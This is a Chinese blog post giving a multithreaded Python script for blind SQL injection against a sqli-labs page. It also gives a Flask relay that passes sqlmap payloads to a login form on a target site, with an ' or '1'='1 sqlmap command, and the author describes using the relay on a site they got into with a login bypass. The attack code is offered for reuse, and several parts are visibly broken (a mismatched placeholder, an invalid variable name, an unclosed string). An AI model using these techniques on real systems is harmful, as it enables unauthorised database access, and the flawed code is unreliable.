返回
顶部

前言

最近的工作中碰到了好几次SQL盲注,但是无奈sqlmap跑不出来,只能自己动手写脚本,开始使用的是1-128的ascii遍历,后来改成了二分,最后参考了网上别人的代码改成了多线程的形式

参考链接:

多线程SQL盲注脚本

import threading
import requests
import http.client
import urllib,parser

class MyThread(threading.Thread):
    def __init__(self, func, args):
        threading.Thread.__init__(self)
        self.func = func
        self.args = args
    def getresult(self):
        return self.res
    def run(self):
        self.res = self.func(*self.args)
def asc(a,i,payload):
    asci = 2**i

    conn = http.client.HTTPConnection("127.0.0.1")
    # 这里使用的是mysql的&运算符  
    # 根据与运算的特性, a&b  由于b总是1后面跟n个0的形式,因此如果a>=b,则结果必为b
    #所以这个方法返回的总是第一个大于或者等于的值,由这些数字相加,总是能得出正确的字符串所对应的ASCII值
    URL33 = """/sqli-labs-master/Less-5/?id=1'and ascii(substr((select version()),ejndgvtuohjsduiofjgbnld,1))%26ejndgvsdasdasdatuohjsduiofjgbnld=ejndgvsdasdasdatuohjsduiofjgbnld%23"""




    url2 = URL33.replace("""ejndgvtuohjsduiofjgbnld""", str(a))
    url3 = url2.replace("""ahosidjkfhaihaifdiasudifdiasudiasudais""", str(asci))
    print(url3)
    conn.request("GET",url3)
    response = conn.getresponse()
    asdasdasd = response.read().decode("utf-8")
    print("this is asdasdasd----------->\t" + str(response.status))

    if len(asdasdasd) > 12300:
        return asci
    return 0

def main():
    payload = ""
    a=1
    f=True
    char = ''
    while f:
        threads = []
        sum = 0
        #尝试开启12个线程
        for i in range(0,12):
            t = MyThread(asc, (a, i%8, payload))
            threads.append(t)
        for i in range(0,8):
            threads[i].start()
        for i in range(0,8):
            threads[i].join()
            sum = sum + threads[i].getresult()
        print("sum ------>\t" + str(sum))
        if sum ==0:
            f = False
        char = char +chr(sum)
        a = a+1
        print("this is version()------>\t" + char)
    print(char)
if __name__ == '__main__':
    main()

下面是python3的http.client模块的详细使用方法的代码:

import http.client
import urllib,parser
# # 初始化一个 https 链接
conn = http.client.HTTPSConnection("www.python.org")
# 指定 request 请求的方法和请求的链接地址
conn.request("GET","/doc/")
# 得到返回的 http response
r1 = conn.getresponse()
# HTTP 状态码
print(r1.status,r1.reason)
# HTTP 头部
print(r1.getheaders())
# body 部分
print(r1.read())
# 如果连接没有关闭,打印输出前 200 个字节
if not r1.closed:
 print(r1.read(200))
# 关闭连接后才能重新请求
conn.close()    
# 请求一个不存在的文件或地址
conn.request("GET","/parrot.spam")
r2 = conn.getresponse()
print(r2.status,r2.reason)
conn.close()
# 使用 HEAD 请求,但是不会返回任何数据
conn = http.client.HTTPSConnection("www.python.org")
conn.request("HEAD","/")
res = conn.getresponse()
print(res.status,res.reason)
data = res.read()
print(len(data))
conn.close()
# 使用 POST 请求,提交的数据放在 body 部分
params = urllib.parse.urlencode({'@number':12524,'@type':'issue','@action':'show'})
# post 请求数据,要带上 Content-type 字段,以告知消息主体以何种方式编码
headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
conn = http.client.HTTPConnection("bugs.python.org")
conn.request("POST","/",params,headers)
response = conn.getresponse()
# 获取http头
location_value = response.getheader("location")
# 访问被重定向
print(response.status,response.reason)
print(response.read().decode("utf-8"))
conn.close()

sqlmap代理跑盲注

前段时间碰到的一个站,万能密码直接登了进去,sqlmap一把梭但是只跑出了时间忙注,太慢了,所以手动测量了一下存在bool盲注,标志是302跳转的location字段的值,自己用单线程的二分跑太慢,用上面的多线程跑的时候却发现目标站对请求参数中的&处理的有问题,正常情况下进行一下url编码就可以正常进行,但是这个网站就很奇怪,只要用了&就会被当成请求参数的连接符,最后实在没招了,请教了CMDY(~现在还没有链接,以后会有的~)大佬一波,使用如下方法成功跑出bool注入,这样直接使用sqlmap的threads参数指定线程数就行了(毕竟自己太菜写出来的多线程跑的结果乱七八糟)

首先使用python运行如下脚本,在本地的88端口跑起来一个http服务器,然后使用sqlmap跑本地服务器的注入,本地服务器再使用sqlmap传过来的payload去请求目标站点,然后将相应包头部的location字段的值作为响应包的内容返回给sqlmap,这样就可以成功跑出来bool盲注了

#coding:utf-8
# 导入Flask类
import http.client
import urllib,parser
from flask import Flask
from flask import render_template
from flask import request
# 实例化,可视为固定格式
app = Flask(__name__)

# route()方法用于设定路由;类似spring路由配置
@app.route('/helloworld', methods = ['GET', 'POST'])
def hello_world():
    user = request.form["user"]
    pass = request.form["pass"]
    conn = http.client.HTTPSConnection("test.com")
    headers = {"Content-type":"application/x-www-form-urlencoded","Accept":"text/plain"}
    params = urllib.parse.urlencode({"user":user,"pass":pass})
    conn.request("POST","/test/login",params,headers)
    response = conn.getresponse()
    location_value = response.getheader("location")
    if location_value:
        print(location_value)
        return location_value
    else:
        return "null"

if __name__ == '__main__':
    app.run(host="127.0.0.1, port=88)

sqlmap命令:

python3 sqlmap.py -u http://127.0.0.1:88/helloworld --random-agent --data="user=admin&pass=admin' or '1'='1" -p user_name --dbms=mysql --technique=B --delay=3 -v 6 --risk=3

后记

编程能力相当重要!!!!!